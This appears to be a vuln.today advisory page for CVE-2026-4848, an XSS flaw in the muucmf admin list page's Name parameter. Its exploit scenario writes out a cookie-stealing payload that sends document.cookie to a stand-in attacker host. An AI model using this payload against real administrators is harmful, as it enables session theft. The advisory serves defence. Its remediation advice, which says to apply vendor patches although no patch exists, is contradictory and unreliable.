Which versions of Muucmf are affected by CVE-2026-4848?

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4848, a cross-site scripting vulnerability rated CVSS 5.3.

Is there a public PoC exploit available for CVE-2026-4848?

Yes, a public proof-of-concept exploit is available for CVE-2026-4848. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-4848?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Muucmf CVE-2026-4848

Q: What is the CVSS score of CVE-2026-4848?

CVE-2026-4848 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-16136 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-26 VulDB

XSS Muucmf

2.1

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Mar 30, 2026 - 13:26 vuln.today

Public exploit code

EUVD ID Assigned

Mar 26, 2026 - 07:15 euvd

EUVD-2026-16136

Analysis Generated

Mar 26, 2026 - 07:15 vuln.today

CVE Published

Mar 26, 2026 - 06:59 nvd

MEDIUM 5.3

DescriptionCVE.org

A vulnerability was determined in dameng100 muucmf 1.9.5.20260309. This affects an unknown function of the file /admin/extend/list.html. Executing a manipulation of the argument Name can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

Muucmf 1.9.5.20260309 contains a cross-site scripting (XSS) vulnerability in the /admin/extend/list.html endpoint where the Name parameter is not properly sanitized, allowing remote attackers to inject malicious scripts. Public exploit code exists for this vulnerability, and no patch is currently available from the vendor despite early notification.

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Vulnerability AssessmentAI

Risk Assessment	The CVSS v4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) indicates a network-exploitable vulnerability with low attack complexity, no prerequisites, and requiring user interaction-a typical XSS profile. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL containing JavaScript payload in the Name parameter (e.g., /admin/extend/list.html?Name=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">) and sends it to a logged-in administrator or embeds it in a phishing email. When the admin clicks the link while authenticated, the unencoded payload executes in their browser, stealing session cookies, credentials, or triggering actions on behalf of the admin account. …
Remediation	Contact Dameng100 directly to request a patched version; given vendor non-responsiveness, monitor the official muucmf repository and security mailing lists for updates. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-4848 vulnerability details – vuln.today

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